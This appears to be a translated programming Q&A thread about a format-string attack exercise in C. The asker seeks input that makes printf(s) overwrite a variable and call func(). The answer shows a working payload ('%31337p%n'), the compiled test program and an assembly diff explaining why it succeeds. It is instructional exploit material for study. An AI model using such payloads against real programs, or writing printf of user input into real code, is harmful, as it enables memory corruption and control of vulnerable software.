2013-01-24 26 views
3
#include <stdio.h> 
int main() 
{ 
    char s[200] 
    int a=123; 
    int b=&a; 
    scanf("%50s",s); 
    printf(s); 

    if (a==31337) 
     func(); 
} 

目標是執行格式字符串攻擊 - 通過輸入字符串來執行func()。我試圖用%n來覆蓋變量,但我得出的結論是,這是不可能的,不先顯示b變量,我不知道如何。任何暗示將不勝感激。對不起,我的英語不好。printf中的格式化字符串攻擊

+2

'printf(s)',其中's'由用戶輸入,本質上是不安全的 - 我想這是你問題的要點。任何此類攻擊都可以並且應該避免簡單地通過不寫。格式字符串應該幾乎總是字符串文字。 –

+0

'int b =&a;'無效。你是不是指'int * b =&a;'? –

+0

是的,這正是我的問題。這是我應該做的練習。任何人都可以提供如何通過輸入字符串來執行func()的例子嗎? –

回答

1

讓我們嘗試使用和不使用打印:

$ cat > f.c << \EOF 
#include <stdio.h> 
void func() { 
    fprintf(stderr, "func\n"); 
} 

int main() 
{ 
    char s[200]; 
    int a=123; 
    int b=&a; 
    #ifdef FIXER 
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */ 
    #endif 
    scanf("%50s",s); 
    printf(s); 

    if (a==31337) 
     func(); 
} 
EOF 

$ gcc --version | head -n 1; uname -m 
gcc (Debian 4.7.2-5) 4.7.2 
i686 

$ gcc -S f.c -o doesnt_work.s 
f.c: In function 'main': 
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default] 
$ gcc -S -DFIXER f.c -o does_work.s 
f.c: In function 'main': 
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default] 

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work 


$ echo '%31337p%n' | ./does_work > /dev/null 
0xbfe75970 
func 

$ echo '%31337p%n' | ./doesnt_work > /dev/null 
Segmentation fault 

如問題所說,我們清楚地看到,沒有打印b第一失敗。

讓我們比較一下里面是什麼hapenning:

$ diff -ur does_work.s doesnt_work.s 
--- does_work.s 2013-02-06 03:17:06.000000000 +0300 
+++ doesnt_work.s 2013-02-06 03:16:52.000000000 +0300 
@@ -29,8 +29,6 @@ 
    .size func, .-func 
    .section .rodata 
.LC1: 
- .string "%p\n" 
-.LC2: 
    .string "%50s" 
    .text 
    .globl main 
@@ -48,15 +46,9 @@ 
    movl $123, 16(%esp) 
    leal 16(%esp), %eax 
    movl %eax, 220(%esp) 
- movl stderr, %eax 
- movl 220(%esp), %edx /* !!! */ 
- movl %edx, 8(%esp)  /* !!! */ 
- movl $.LC1, 4(%esp) 
- movl %eax, (%esp) 
- call fprintf 
    leal 20(%esp), %eax 
    movl %eax, 4(%esp) 
- movl $.LC2, (%esp) 
+ movl $.LC1, (%esp) 
    call __isoc99_scanf 
    leal 20(%esp), %eax 
    movl %eax, (%esp) 

在我們看到標線「獲得b值到EDX%,然後把它作爲堆棧3'rd的說法。」

由於printf和scanf使用cdecl調用約定,因此堆棧在調用中保持大致相同,所以第三個參數仍然可用於易受攻擊的printf進行設置。

當我們不打印b時,它沒有進入堆棧以便我們的注入格式字符串很容易獲得。

With enough %p%p%p%p%p%p...無論如何,我們應該能夠達到我們的實際ab,但50個輸入字符的限制正在阻礙我們。